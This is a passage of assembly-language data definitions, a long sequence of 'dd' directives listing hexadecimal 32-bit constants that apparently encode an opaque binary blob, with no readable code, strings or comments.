3F892B1Dh, 0BFCA299Dh, 1D388B6Eh, 0D4018470h, 2B10C97Bh dd 5A31353Ah, 25EAB06Ah, 94912B6h, 4BC97A01h, 0A818A2F9h dd 415302ADh, 0CF7AC42Ch, 11666F5h, 97BB90B7h, 2A635079h dd 7AA922BDh, 0BC024BE7h, 5F566E7Eh, 98009546h, 0D1A80CA2h dd 276C50C3h, 0EF5BB0Dh, 0C8572213h, 0B6987F7Eh, 1499D23h dd 82C45023h, 8FD90C45h, 0DAEF2D3Fh, 609670C0h, 9FD1813Ch dd 66DD93B0h, 0E7D7D8C5h, 33AF60ABh, 942F9BDh, 50EF8180h dd 4F4B6BE1h, 2F22E98Ah, 87ED4AA3h, 0AF80B430h, 92FA5E34h dd 7D80E879h, 1D68D90Ah, 4000A572h, 6F0DF8A1h, 98ADB7Ch dd 0D0209206h, 0E4A4C9D4h, 3E6EE45Ah, 0D28F42A6h, 0D7C04D66h dd 8E7EDC37h, 968E2161h, 9D2B5B8Ch, 0A85839EBh, 340603D4h dd 160B98ACh, 6BF5E491h, 0B591E79Ch, 8A4008D9h, 97E4B3D8h dd 414AFC14h, 0BFE515E8h, 0DAEE31D5h, 0B219C9CDh, 2E765712h dd 6036BB40h, 0C67D2CBEh, 3ADA4BA5h, 0F45D7C97h, 26931456h dd 0AA00BCD9h, 0E9642153h, 3B7095E6h, 661B9097h, 2E840049h dd 0D4059A4h, 4D907AC7h, 62EFC300h, 8B5F0CC2h, 0DC7D94C1h dd 162E060Fh, 0CB476B0h, 71852F31h, 0E000BD2Eh, 0EA81F00Dh dd 0A0A639DDh, 2A881414h, 0FFF3D06Dh, 0C394C0CCh, 50F24D36h dd 0CCCBDEBEh, 41D5BEB9h, 9AC22B58h, 81F8F01Ah, 5A4D38B3h dd 0A4126370h, 50B701F9h, 81D0033Ch, 9245D93Ah, 0F4D38419h dd 36B0842Dh, 0B4D95FE9h, 0C0B8C8A8h, 1B134520h, 4F3C4003h dd 6120C2BEh, 0F58B791Ch, 0DAD1288h, 5BF8050Dh, 30C1C86h dd 0D93720D1h, 8B64D19h, 97255412h, 58F2864h, 0C483126Dh dd 161BB204h, 93018B51h, 0B0A98110h, 95B51446h, 81C32604h dd 33202D7Bh, 16242215h, 40F985C6h, 0D2684799h, 60959AA7h dd 8229A90Ah, 7F60C102h, 0D0E2B043h, 8400A43h, 249FAD82h dd 6CCD3C4h, 1CF20001h, 61541D51h, 7003F63h, 8092CC89h dd 1D5EC1C6h, 8C81DD8Ah, 5332594Ah, 5AA5B400h, 409856BFh dd 3CC7FE69h, 9ACC7DCDh, 370C874Ah, 0FFC1C00Eh, 5007A1E1h dd 5816B051h, 4791E9A1h, 80D60BDDh, 0BFBACF43h, 2110062h dd 9646F189h, 81EC95AEh, 0B1247EEh, 7E886620h, 317438E8h dd 51BF448Bh, 8A620FDEh, 81EB60C2h, 0DF390EF2h, 0EEC04FFBh dd 3B1B2A92h, 0CE2DB633h, 0B511488Eh, 2DD6C226h, 3C8EF7EAh dd 0CECE6051h, 0D22AE961h, 4488FE13h, 0E3C49552h, 0DFDF8525h dd 5A37FA40h, 42927BFAh, 7650F32Fh, 0E20643CCh, 8DCFA1A8h dd 99F81D00h, 85EC5C55h, 729C0119h, 48A22158h, 70D9D032h dd 16F40E00h, 0F5D5B7BAh, 0DDAF3374h, 21004308h, 0E316EC75h dd 0E26CA906h, 0D3E9001Ah, 5CAA7124h, 10C04274h, 9FEB431h dd 3473A9h, 0F22E70B3h, 0AE7F45Eh, 0C572A12Ch, 19385406h dd 6020D830h, 1670C39Fh, 612438C3h, 0E7190373h, 0A8EA26A3h dd 524154E2h, 0EF38811Eh, 63271108h, 30642820h, 69183CE0h dd 0B0C120B4h, 428A242Eh dd 0F0FC8EDCh, 0BF1B3E76h, 18AEED1Eh, 315E1067h, 804DDA3Bh dd 4FE47F6Ah, 0C9F1FEh, 3442F2FFh, 997CC229h, 0F65C02ECh dd 97EA0E79h, 0F0378057h, 177EE7Ah, 5AFFD14Ch, 98D7D9F4h dd 95214008h, 37700E6h, 0C6AE612Ch, 5E0065BAh, 0FF1D797Dh dd 994BF5h, 8B5AF03Ch, 253D74BEh, 9ED118C0h, 2930439h dd 0A6B3D015h, 0CC801908h, 54384736h, 0EFEE5B00h, 4237015Ah dd 70186F32h, 0B2F12B00h, 0EA069280h, 0FB0A56D3h, 21256008h dd 9CB2E8D9h, 988C6F0Ch, 0E43A94Bh, 0EAE1C846h, 87A39EA0h dd 8300500Dh, 7ACBE98Eh, 0DC302ABDh, 0C8BA4278h, 5C83D370h dd 0DAA01A37h, 11D2F29Eh, 0EE589C01h, 3BFC8E78h, 8966371h dd 20005B0Bh, 87588931h, 780DA8A7h, 673500FBh, 92BD20D0h dd 0E518EF1Bh, 0A0702FFAh, 447020B9h, 0DBF9C5F8h, 78B11908h dd 8C803049h, 5167DCAAh, 80907B10h, 2178Bh, 0A18DB56Ch dd 0C62C775Dh, 0AB49E700h, 0AABEF339h, 0B88500D8h, 765B9327h dd 0A70020E5h, 0DA6E7E41h, 0E242DF4h, 8BC17479h, 0A96F37A0h dd 35009903h, 0E6C6CDC3h, 7678EC5h, 9E38BFE7h, 0D31770D7h dd 5C00043Dh, 66477E5h, 0BB4A21h, 0A46DDA9Ch, 0D412CB87h dd 0E6332C00h, 5D43EE2Bh, 489600B1h, 1F0611Ah, 991CD563h dd 7E80504Dh, 0CC874565h, 0FE953DF8h, 0A2C8C20Eh, 30B61140h dd 1C0719C1h, 0E4BA8CEDh, 0A4CD4560h, 0C37F0090h, 0C296F6ACh dd 0B9008E57h, 20491A65h, 3392BB97h, 0AE087F18h, 6E542100h dd 0F0493F1Ah, 8567098h, 0A5F53ADFh, 87C49B80h, 71DB35Bh dd 7977B508h, 2F6505Dh, 8A00A5D1h, 73032A55h, 0FB48042h dd 91E53A67h, 0AB5D7AA0h, 0C701A64Ch, 0DCFF9356h, 1896C9B1h dd 57E30002h, 7F709974h, 70C08B74h, 0F6046BAEh, 19769815h dd 8550D5Bh, 50218081h, 90CE0463h, 194F039Ah, 0C1EA14CFh dd 99B16063h, 13BA09Ch, 0E211C0C4h, 3A6ECBF2h, 95B2F406h dd 60089C41h, 0AA8321ABh, 887FC6CBh, 7DC21003h, 901F1420h dd 0E5C2157h, 46909FABh, 88015641h, 0B4A4E2B9h, 1A6860ADh dd 8F202348h, 5300B111h, 4AA31A71h, 6A00F846h, 90412DC0h dd 6080C161h, 0BAE2E194h, 0A301BB1Eh, 78107013h, 0E7F09D6Ah dd 60D63024h, 0F3183BE8h, 0B23F0500h, 0E9DADE3Ah, 2CF5000Ah dd 0EDCB02E3h, 29079375h, 10FB8B0Fh, 0EF333B40h, 6F77976h dd 37DECB86h, 0FD30098Eh, 7F4F200Eh, 15B3FEF7h, 2073BFC2h dd 4B0E5AACh, 2076B7E4h, 0F1D82C1h, 0B841019Ah, 0DB45DA52h dd 0D26FE40Dh, 68803F31h, 33D91057h, 7BD86ECh, 3CC6E672h dd 5E6B50A6h, 14000DE1h, 90379108h, 102EEB5h, 1B333CC7h dd 4FE88ABCh, 59801120h, 2E958881h, 242080E4h, 73C00154h dd 0F24100E0h, 1D0D47D9h, 680DB79Fh, 0F9A7E33Ah, 152AFCCh dd 7E863778h, 8C8E0BD7h, 203ABD09h, 788A01CFh, 0FB49E81Fh dd 3C39800Ah, 11D25990h, 283D6FE7h, 52BAA083h, 82C276C8h dd 88E42628h, 24537913h, 0DE71BD18h, 0E5923495h, 0C49E80A8h dd 9CE9DDBEh, 7DC68158h, 0FE5038A2h, 50351ED3h, 0AB1B4155h dd 984BBA3Eh, 0DD21D208h, 4350003Dh, 0EE5942D9h, 0C41C3C0Bh dd 0E75E34B3h, 0D1AF99B0h, 6198001Bh, 0BF7CD43Fh, 83FACA4Eh dd 6D341D0Eh, 18B400B9h, 559E76B8h, 989DECDEh, 7F1121EAh dd 53503783h, 0D1314BCAh, 503FF310h, 0C685B017h, 0F17E5407h dd 0A216CD62h, 0AAC202D0h, 8D1144A4h, 95F77480h, 448C9B86h dd 7D004DF3h, 89660AF7h, 12C6B96h, 5564C411h, 0DC33DC0Fh dd 3A70B586h, 0A6002490h, 0E029918Ah, 225E0Dh, 8C478993h dd 1976D0A0h, 0BFBF343Eh, 30C073B6h, 0BEC3CF9Eh, 7C0E501Bh dd 321E8C7Ah, 23515650h, 0DE80D088h, 0A130503Ah, 36DA392Dh dd 43BCE483h, 0E10A07A5h, 0CC388A04h, 8E9483BAh, 0A07D8BD7h dd 659E4418h, 13CE9D5h, 823061CCh, 97208650h, 14EE393Eh dd 5010F7BEh, 391E8C72h, 467F5150h, 0F900CC22h, 25955041h dd 3AD845C0h, 0F8D0F256h, 0BA521288h, 45945DCEh, 0C21B32D7h dd 844891B4h, 6C00436Fh, 0B31A15BCh, 0C8A31117h, 699DA120h dd 0AC608C12h, 23347853h, 0B7117686h, 788BCC00h, 0C13FC2A0h dd 0C5128871h, 1000DE36h, 9138ACBAh, 844A506Dh, 642C98ABh dd 32D97060h, 785030E9h, 4E863911h, 0D180B288h, 404A7888h dd 8CB3000Dh, 0A1E712CEh, 70121C9Dh, 8C059341h, 8803AFD6h dd 3940A6h, 35088E38h, 7519CA1Ch, 3A1C0EF0h, 72CA86DDh dd 0C60798C9h, 7F20919Eh, 3151E61Dh, 0F418D8C2h, 8A702063h dd 0F775048Ch, 62838692h, 7E4E20F2h, 9C704CF7h, 1C81E500h dd 4236BF75h, 7ACE1206h, 0C1546107h, 0CE880F11h, 2F6365C0h dd 484649E7h, 78E8403h, 2EA8A291h, 5B0125EBh, 4EC16E9Bh dd 18301092h, 0FCB9F037h, 38D2122Dh, 34680839h, 0F656C083h dd 58285008h, 0D27D013Ch, 8B247073h, 69A852E9h, 0B2E4C065h dd 0A5A4FC60h, 0EDE58001h, 25E0637Bh, 9AC256C8h, 8E2D0058h dd 0C42F4F32h, 0F489CBDh, 8CD2F890h, 1BA3F800h, 4C83D96h dd 0E13C6286h, 0EE6876E2h, 97148F1Dh, 7180FB38h, 721B88h dd 2655AB14h, 27A25A86h, 1A090490h, 116C9EA1h, 0DA02FB64h dd 55188E19h, 86327808h, 40B9C426h, 1D788DCAh, 0B2850054h dd 0EA102C44h, 153789E6h, 2D27029h, 8838C8E0h, 0CC7A3332h dd 0EC3B518h, 52A27588h, 50E3F62Ch, 0B9BE4200h, 0C43CC81Eh dd 407218h, 5C250B14h, 73BD06F6h, 0E9A78B04h, 0BA56E81Dh dd 0D73284EAh, 2AA0D0A2h, 6C146028h, 77019BAAh, 92F6A8C2h dd 0E7D472BCh, 0BA82314Eh, 0E88F3640h, 0DCA1201Eh, 8C7C0CEAh dd 5450341Eh, 0CD881351h, 503CDC80h, 126275CFh, 524EBDA6h dd 0C540494h, 29408188h, 8CE8083Bh, 38784F04h, 0B8625686h dd 7887D020h, 4B579EEh, 539AF524h, 0A4389129h, 237D020Ah dd 72E0B7A0h, 18C8271Dh, 6E0A491h, 38C02A50h, 94207201h dd 469E43A9h, 6C93898Bh, 7CA64601h, 0B094273Ah, 9E68D65h dd 0F221EBB8h, 0A346F081h, 6E898122h, 3FB42B5Bh, 74CEA02Ah dd 10208E02h, 0E1B844D6h, 38438F54h, 97857h, 0D4F17ABAh dd 0C4A637C3h, 0B58871C2h, 6BB4C84Ah, 8F39C10Eh, 0C8A33D4Dh dd 480F8A74h, 9C213EAEh, 5137E7CCh, 0D09200DBh, 0EBDFC175h dd 0F766BA0Ah, 214C08h, 21D0EA7Ah, 420E30CDh, 0D95CB60Bh dd 82E80081h, 0E67A76h, 8ED8570Dh, 9E379C2Dh, 0E83C34F9h dd 2FA0300h, 633BDE11h, 0FB8F00C7h, 0AC9A4637h, 0F1305AA6h dd 0C6424034h, 824F00ADh, 8FC4C03Ch, 0A0171EA1h, 783A532Ah dd 8A00D023h, 6CE89579h, 8B8D060Dh, 0B49A56BFh, 0C542898h dd 9CEA9FA8h, 49DD7309h, 95E4A620h, 242E9049h, 85CCEA42h dd 45B36Eh, 81B1BAB0h, 4348BDEBh, 0EC461670h, 106B9405h dd 8C89A4CCh, 91F77804h, 0A8677B86h, 0C081518Eh, 0C2D0074Fh dd 0B15E09F8h, 0C65FDF3h, 1260FAE4h, 205CCF80h, 2F4465Ch dd 0C173D094h, 41F433AFh, 2DD08C7Ch, 9AAE1C60h, 42880908h dd 588F2196h, 5C6C738Ah, 0C900F246h, 22DB2E77h, 170155FAh dd 0C2C3A8DDh, 0A0000F1Dh, 0DF50DA82h, 0B51090B4h, 33030152h dd 76B8061Ah, 9B70B4FCh, 40E31105h, 0B808FA88h, 8A86020Bh dd 0E8C4F1h, 2A00C856h, 0FF941D81h, 18908B4Fh, 2026EE52h dd 0FC39873Bh, 0C420D37Eh, 3A642E23h, 1F223C4h, 0CFB04B7Eh dd 1B94E838h, 0C451581Ah dd 11A41D76h, 0E7C780F3h, 3804469Bh, 0EE806F01h, 0DB45592Dh dd 0A32A4F88h, 0E07A81Fh, 0FC802EDEh, 50BEAAA0h, 32C92669h dd 0DF4E077Ch, 0A26E1134h, 0F631802Ah, 0B1862C2h, 0B77E00AFh dd 5A25ADFBh, 7B04969Ch, 4204B168h, 14C2ACB4h, 0C8BB9E56h dd 0BA173803h, 0C4941B78h, 1EB4C244h, 72B3A4A2h, 0BA005870h dd 0B4E496CCh, 0E2E813D4h, 32522E88h, 0F85498D8h, 24608A5Ah dd 1609BA10h, 0AF4E1F1Dh, 0AE80C13Fh, 0F452105Ch, 530377D1h dd 417D07C6h, 0FBDAB4Eh, 0A88E3488h, 8C17C9A0h, 862472A2h dd 81072848h, 4099A6BFh, 18108424h, 394E6EC0h, 3E58E890h dd 42FA10B4h, 0B83AEE79h, 345B0024h, 0BA1D1394h, 0EF009EADh dd 0B54552CFh, 14012ECh, 4EA7C6EEh, 0DCFE298Ah, 0CE005863h dd 9AC9202Fh, 3A43E74Bh, 0EF00F612h, 0E44CE1FBh, 6B0049BAh dd 1F86E270h, 3A0172C9h, 0F80F026Ch, 0A503CDE7h, 110FCAFFh dd 0C0B4CB8Fh, 0EC2BCF6Ch, 8B76674h, 0A2C21D7h, 0E8001FC3h dd 430B92BAh, 62190AEh, 0C1F7807h, 811E28F5h, 0EC1DC3EFh dd 12471030h, 606C0133h, 694C160Bh, 30089803h, 31A2A21h dd 51569A33h, 29C82FADh, 0B800E8FBh, 0D27D58CFh, 0C9D02D4h dd 0F3DA18E7h, 75FA72E0h, 7EC58A00h, 7776E383h, 0FC08CC2Bh dd 0BC188B21h, 0C640228Ah, 4C340079h, 0B9F85CB1h, 0D0C074A7h dd 0AA6E12EFh, 3B0101FDh, 8AF9C34Ch, 808CD14Bh, 0AA65B421h dd 3E51BAEh, 0D0745653h, 93F88168h, 58031E12h, 7F4C3E77h dd 0C8F82370h, 71331103h, 7D629C60h, 0E8192D23h, 0F27AB9B1h dd 0DBA72973h, 18867150h, 0DB810A7Ch, 2CF8E698h, 217918C1h dd 9434C313h, 87C118C4h, 9050F2E1h, 3DA021h, 745FB5F7h dd 39CC32AFh, 626A2903h, 1DEE07h, 4933F829h, 4F4A6BE5h dd 64FA2616h, 92501602h, 108080DEh, 1AFFEFF9h, 78736E6Bh dd 6C4DE000h, 10581B4h, 8DF2855Fh, 0FB0D16C3h, 7F580EE8h dd 328C64h, 0F6B2426Ch, 0DA245860h, 730354FAh, 0C270E8C0h dd 0E170405Eh, 0C139C026h, 0F80B77BEh, 3B361F00h, 0D4D3B8DAh dd 946B02E7h, 0C8A874BFh, 64BCA484h, 1104D80h, 0A44B5393h dd 0CD008522h, 68FBAB3Ah, 78B631Fh, 6D49233h, 0BB69024Bh dd 0CFC68049h, 5F0C3178h, 0C080B06Dh, 0A82A0074h, 0FFFB0A22h dd 31C0116Ch, 6534E56Fh, 0C0F37240h, 91C0F9C8h, 672459BEh dd 4240BC8Fh, 9043FAAEh, 0BC2052A4h, 0D668DC00h, 88132441h dd 425A3200h, 63DBE222h, 15473BF2h, 76949A00h, 0E79CD9B6h dd 81901A49h, 7ECB8A73h, 35001CD2h, 7F5C8ABBh, 0A8810CB4h dd 645E06C4h, 8E9788E5h, 0C0358868h, 0B7B213DFh, 0DC006D76h dd 4078B0F6h, 0E12A0CAEh, 6473D8h, 0EE32CDF2h, 0F9756777h dd 0CB23F404h, 5480D35Ch, 398643h, 77E4EB1Eh, 384AA0E8h dd 0F7214B39h, 725C710Ch, 184040B5h, 582C6EFEh, 4A00A75Dh dd 639B49DAh, 1260B6FCh, 5025AA40h, 2C007C20h, 0E5078D37h dd 0D5729E0Eh, 3442D31Fh, 0B89A645Eh, 698C4158h, 0B404CF18h dd 2C6F6C76h, 2E20D932h, 2403B4C7h, 86C57BDh, 0B02486C8h dd 0D94674h, 69C42D8Bh, 0C766D8Fh, 22E86CB9h, 32F37B50h dd 213A38DCh, 0B4D001CBh, 48676C75h, 988BD50h, 3EB400C8h dd 9313EB4Eh, 0B80C3522h, 581C7C6Ch, 297242EFh, 853A5868h dd 0B76C6FB4h, 2F01088Eh, 3BB2B4C2h, 5DDAE88Eh, 0F45E4803h dd 0B2D9EFCCh, 0D0E880C5h, 92C69DB6h, 0B47D0A2Ch, 41901554h dd 22E0FE51h, 1C330140h, 43202B9Dh, 0A83CCh, 8091C825h dd 0E8C4AEBAh, 11081C00h, 0C3CB899Eh, 0AB750090h, 57E15BBFh dd 0AAE4A59Fh, 84004CFAh, 0EBD18529h, 7FB793h, 0A1C92F50h dd 45F6ABC3h, 0D0D34907h, 0BD30D252h, 7DF1AE0Eh, 57C77h dd 8F222C2Ah, 49FD35ACh, 0B917A100h, 20CA66B6h, 14410071h dd 5EBFDF37h, 38C7A5C3h, 3EC0D5F3h, 77CC4DFAh, 0C834007Bh dd 1CE64536h, 0A63E05D9h, 1520254h, 2F9BF3F0h, 9D832D80h dd 0F8002B0Dh, 0DCA14E9Ch, 39596B6h, 0BC14D855h, 19000288h dd 3EC3225Eh, 0F0C026AAh, 0D129037Dh, 0A6097EAEh, 2AB6501Bh dd 76BCC059h, 12A403D6h, 710EC524h, 7B00197Eh, 0BB2D399Ah dd 3387A98Dh, 3891DA5Eh, 0C8B8BEC8h, 0CB26A800h, 6A5C4C5Bh dd 0F56D004Dh, 0DC16C6FCh, 0B93DC36Fh, 22B8005Eh, 0A6060D99h dd 60F4600Fh, 2AAC8577h, 0FC6B640Eh, 0B89200EEh, 304D716Dh dd 0CEA13AADh, 8D00B1B3h, 0B88590DDh, 315F7918h, 0A158D92Ah dd 0FB39CC0Dh, 0A5CF0600h, 0E82C74D0h, 787654h, 75CE8A1Bh dd 440737BFh, 0B5E5800h, 7B5F2D6Ah, 0F8830E27h, 638FF7A7h dd 402A1207h, 313C72B9h, 5C0358h, 0D552EE8Bh, 1FA230ACh dd 2F56Ch, 6499AF96h, 7E1E28D1h, 3E070BC7h, 0FA80CB13h dd 30378BAh, 6283DE04h, 610B06C4h, 390F8Ah, 0CC338E17h dd 0CE0E572h, 0D25300DEh, 6B273A96h, 5561D678h, 3031F730h dd 0A25C289Fh, 36C6D800h, 477897C4h, 267F183Dh, 0B7427829h dd 0F2AF161Ah, 0B1C18D1h, 3B19C0ADh, 0D0AF9747h, 29561C1Fh dd 740F8B4Fh, 827E0E4Ch, 1F80D423h, 0B8B2EE08h, 2211173Bh dd 0ED005E3Bh, 93D556Eh, 2A06C871h, 2CACB7AAh, 0A3830020h dd 63867805h, 4000724Eh, 79E430E1h, 187AC2ECh, 0B1A50C8Ch dd 0A00C9AAh, 74D1FAF9h, 7475E9D6h, 48BB1D54h, 0C517101h dd 3631817Ah, 2FAE56D8h, 35EC8CF1h, 0E0DD00E4h, 3A4BF8D4h dd 91077006h, 0D7720F23h, 0F01178CCh, 5D4102D2h, 91B9803Ch dd 0CEBAA083h, 0D796E900h, 29576FFDh, 78220073h, 4C109449h dd 0F900E123h, 0EF8AFA72h, 0C47E909h, 0EBB08C36h, 0A20C8E79h dd 490B6AC9h, 0F4D98B94h, 7044EC09h, 430A4D18h, 0CDDDC1h dd 5BFC64CCh, 0BA778640h, 3CF8F424h, 96D66001h, 0B8408B06h dd 0F34D495Eh, 20418052h, 0C87B6C79h, 6E064300h, 9A1E48BDh dd 0B4801566h, 4C50D02Ch, 4410E9C1h, 3224A073h, 0C2002402h dd 0B185801Bh, 69200049h, 8B0E9DF7h, 3E0E3612h, 6B74B7E3h dd 32C802Bh, 0E218E410h, 8AC109FAh, 7C03026Fh, 70B08955h dd 453DE281h, 5D38020h, 402BEF74h, 297824A2h, 47118030h dd 0A3AB9870h, 0E48E6F01h, 0D36E6730h, 500E34D0h, 0F6DDD09Fh dd 0B1B3E7C7h, 0EA40730h, 0D42521A7h, 0E8D85E38h, 0DF900930h dd 55C07F78h, 0E61FF7FFh, 47066369h, 0F020286Bh, 0BE5D187Ch dd 0F08231E7h, 0FB203E00h, 0DC68EB8Ch, 84DB0083h, 5C3BACB3h dd 98009F53h, 2C33CB7Dh, 79D43C43h, 0A077014Eh, 61576397h dd 509A4073h, 14A792ECh, 6813198h, 0C54CA344h, 60B0043Fh dd 4A50F5D9h, 0EA0BBE68h, 0DF8FFFh, 7132E5C9h, 8D0200DCh dd 697D30BDh, 0C0A06634h, 940E57CBh, 58AC18DFh, 888CF629h dd 7F8833A9h, 0E1D18858h, 0ED09DA89h, 56E3113Fh, 12EBFD11h dd 40F7100Eh, 28411789h, 3C17E903h, 5FEE2EA1h, 0DE9F9800h dd 7B90E1B7h, 0A64900B0h, 0BFCC0809h, 7AF041AAh, 9200E679h dd 47176715h, 1DB58DCAh, 0C02559C3h, 9FB8DE33h, 720F790Bh dd 0A00F07DCh, 0F14AB7F8h, 0D2780048h, 3FCAE823h, 41001CF4h dd 0AF866006h, 7CD6E5h, 9A09B519h, 80ED078Dh, 0E4A9FE00h dd 0AF7DEE63h, 0D1DA3C2Ah, 0F2843700h, 35A1C8E2h, 0BD767500h dd 4345BF91h, 54DD07A3h, 808A1D97h, 76B00EC3h, 0FAB1EE00h dd 0E522A2F4h, 647300FBh, 883C24B9h, 40F901ADh, 0A01169DCh dd 75004575h, 44851BBCh dd 3E3189A3h, 0E00C77Bh, 15B0434Eh, 0EB00F7D2h, 0B3933E11h dd 0A8B25Fh, 618820FEh, 6F18E063h, 961CA98h, 90EA1060h dd 86139A00h, 6AA66C00h, 2E899C05h, 16DA0076h, 31327921h dd 0A8EC184Ch, 0E8802C50h, 8B594400h, 94D8B11Eh, 624200EFh dd 661D8A82h, 0AC00A7A0h, 0FCA3FB15h, 77A2C1h, 611B88DCh dd 2063E28Dh, 0E05D807h, 29F0B1C5h, 65F0DE4h, 605C21BCh dd 0FC07E055h, 19E0B5C3h, 7EFD38B0h, 0DCF70071h, 0BF73DE5Dh dd 91073B7Dh, 3386E4D7h, 0B56F5CB0h, 0E19F0016h, 8774931Dh dd 0F2601C0Eh, 3B54C5F4h, 1A143F4Bh, 86B20500h, 0D57CAE8Ch dd 62309400h, 1D3E1CB6h, 0E6B31E0Bh, 0E1DA8173h, 0D829C9A3h dd 4C0E8183h, 0A2D50CD7h, 48971A58h, 0D31D24h, 0B5F84AC3h dd 3E98C277h, 0A5A6661Ch, 0B4183BDh, 0E81FA71Ah, 0A7FE6C9h dd 0A2735A59h, 98CD98E8h, 0EC00DE50h, 5CE253B0h, 74F340Ch dd 0F056DA52h, 9C2340D9h, 0FC034DDEh, 2FD83E6h, 34E48863h dd 0CB9F0132h, 0F4AD8A9Dh, 461824BDh, 0BAF14C0Eh, 0F99E20B2h dd 2EBDD3Dh, 98203879h, 0D080D66Bh, 447CC79Ch, 14283Dh dd 0E686EA5h, 8BC671h, 9784F882h, 74D29247h, 0EB336B00h dd 783151F2h, 0ABA800A1h, 58C3DDF9h, 9C1ED334h, 0E5402CBAh dd 0CED8FE71h, 0EB770006h, 0A24CB4Ah, 0D2008451h, 448165A9h dd 0D667Ah, 0B997B7E7h, 15F35FEh, 2A003071h, 0FDE2567Dh dd 39BDCA9Ah, 4002DA4h, 0D90F1332h, 270093F8h, 4B539276h dd 181D23F3h, 0F8244318h, 3B731101h, 0B6007A7Ch, 5A0E3187h dd 5870598Fh, 3E0E54BFh, 57601F69h, 522702C8h, 0E1AF3300h dd 0F72A9C9Ah, 121003E8h, 9FAE739Bh, 0C023ABE8h, 0CD16AC00h dd 75CA8A7h, 13E82458h, 0A6050068h, 11C6368Dh, 0CD8A10C0h dd 96BCB0Ah, 0F7D87F7Bh, 53BA3087h, 84006621h, 0F5EE2AADh dd 0F833DAh, 553CBBA7h, 0FB1E0E6Ch, 9FAB001h, 0C059084Ch dd 0B9C8F0h, 0E1F7A80Dh, 0C57D845Ch, 63DCFCFDh, 0FE6D6804h dd 0B4903BF2h, 0ADD6DAh, 0ACBEECAAh, 1D2FDFB1h, 0E8575C02h dd 412E3776h, 47D49084h, 985850EDh, 1A660113h, 642C0BEFh dd 408030F7h, 8856C807h, 1FB0A7B9h, 9558BAFh, 0B001D37Ch dd 299E1C00h, 0E9617847h, 0C3E15F30h, 733BBBF4h, 937A24E4h dd 5429002Dh, 1DD33D1Bh, 89C08E60h, 713EA530h, 472007E0h dd 90949B6Ah, 2FD27079h, 7A712200h, 0B8C62729h, 3049012Ch dd 7783925h, 37ABD05Fh, 0F4AA3Fh, 5472DC3h, 358CA9h, 0E5A8FA97h dd 0B58AEEAFh, 0A640FC00h, 0F03928B7h, 23A200E8h, 0FD375D2Dh dd 1B00713Fh, 0EA1D17B9h, 4C3463h, 496ED07Eh, 95041EF0h dd 0A02ECCF2h, 7400C20Ah, 6F4FF77h, 8729DFB9h, 50B46A17h dd 9C612D62h, 0F33CF70Ch, 9DE21B7h, 1A4A2644h, 0E54E5820h dd 417FCF88h, 0A8FDC000h, 8618AF85h, 0C75A0098h, 542CBD3Ah dd 41E3969h, 580BAE0h, 0BF90F1F5h, 20A800A0h, 2457B7ADh dd 1A000398h, 2C9C68A5h, 75061Eh, 77BC7CD2h, 93B7E43Ah dd 0DB01D900h, 0DC33FDA9h, 67CB007Bh, 437C8657h, 3F1E97D0h dd 803BA73Ah, 6E9321F5h, 0A9AFB7h, 0D3E69AEBh, 81549EE7h dd 0AEC1DE00h, 0AD272BABh, 7DC30083h, 0A84F4090h, 0F238EFF3h dd 9110803Ch, 351EDFB9h, 805E0018h, 8F756C7Bh, 2A00588Ch dd 0D3624732h, 0A2D7F8h, 0B7DB2326h, 0B24525B1h, 0D9776F26h dd 0D3B52B00h, 1D172FFEh, 408EA0D5h, 0C3C4D80Dh, 3E0724C0h dd 180E4E33h, 0C55A0750h, 0B87B3859h, 2A635181h, 21F9E529h dd 4679F070h, 0F6D94F00h, 0AAC899BFh, 7E420019h, 0F8C41006h dd 52002892h, 0AC72751h, 0AE1C5Fh, 0CDF5113Eh, 0E06D21BBh dd 1065A00h, 9A4E641Dh, 0FAF498DFh, 9049FA4Fh, 78E6E8h dd 0A3F3501Eh, 5B02929Ch, 0C100A890h, 3A40FBD0h, 79C876E5h dd 0CE1909F0h, 8803118h, 5E29FDC6h, 7B16FE00h, 0FA12E742h dd 577000E9h, 0A8B86A5Dh, 5B0153E3h, 0EEDF6E35h, 4030116Dh dd 68620156h, 7F0CFB73h, 1CC420B1h, 0DBFEDC00h, 992DD3CBh dd 0D74F003Bh, 0D81E360Bh, 6000417h, 9F4C88AFh, 0C32D95h dd 11CA81ADh, 0BF8916BEh, 0A801FF70h, 694BEC98h, 0DBDC4191h dd 3FCB00B6h, 31FA332Ch, 0D8EED074h, 6B4A8801h, 0DFF0CFDCh dd 0C0B37BD8h, 54E83C28h, 14B1D293h, 3068B280h, 38E7E178h dd 4802EDAh, 0B5DF3472h, 8801F997h, 89D17B51h, 87C025FAh dd 80CC0F7Eh, 0B6E0A231h, 9EA38B7Ch, 0D92DD700h, 6A2B9C32h dd 0D1650003h, 77BBDA70h, 0C000FC78h, 3B895F4Dh, 0D8EB05h dd 75519166h, 38BF3CB7h, 72FBE000h, 31AB6C89h, 0AFD9034Bh dd 0ED34C5E9h, 2C56B2E0h, 48F89100h, 7BB1A566h, 0F61803BDh dd 59D79030h, 39434790h, 0C999E400h, 26E2FC09h, 60CA00DDh dd 344CB89Eh, 0FEECAA01h, 48570600h, 98DBA97Fh, 5C2739F7h dd 0EF00F4CDh, 12256F2Bh, 4A00636Ch, 0FF67A234h, 4E9FB0Dh dd 0A7784224h, 7CB0D0ABh, 0F2000E5Bh, 9986E177h, 3A46FC93h dd 1E818E05h, 57C8D4F3h, 4D8005DBh, 7D0E80h, 0EEFB81AFh dd 0B5914247h, 9A7143FEh, 0AC00BA71h, 33C770B7h, 0E52534h dd 42C8D0E6h, 7B148241h, 26E41900h, 9D637DAFh, 4F500B9h dd 5C5B94F8h, 0B6127F6Ch, 0B000DEEFh, 0C07649E9h, 71A60067h dd 8733E58Bh, 1E40DB2h, 5B893407h, 9F100258h, 0CF59D9h dd 824F7E1Fh, 54CAFD7Ah, 4AEFDD04h, 57C070B6h, 90D9436Fh dd 0A0913DB0h, 0BCB2807Dh, 88C04D2Ah, 0BD9ADC00h, 1BFD7D58h dd 3CE25854h, 0BF773005h, 5DD7C06Ch, 7E000BF5h, 12A00C69h dd 0C65043h, 9A4B25DFh, 8F845B28h, 5DC1A601h, 3D59B004h dd 7E4553D0h, 504A4C32h, 0FBC7C500h, 1E15AE3Fh, 12E89248h dd 0BC909FFDh, 25A4AC9h, 568C1BA3h, 0CC40D570h, 0EA0E46CCh dd 0C0EB7206h, 0A7D1CF47h, 5129032Dh, 0C89ED8D4h, 0B41D2588h dd 0CCD654C3h, 1BFAE036h, 0F7578BDh, 51BF1060h, 81450C7Dh dd 0EC006378h, 0B682AC39h, 0EA2A7FFBh, 0A4D31789h, 9B340012h dd 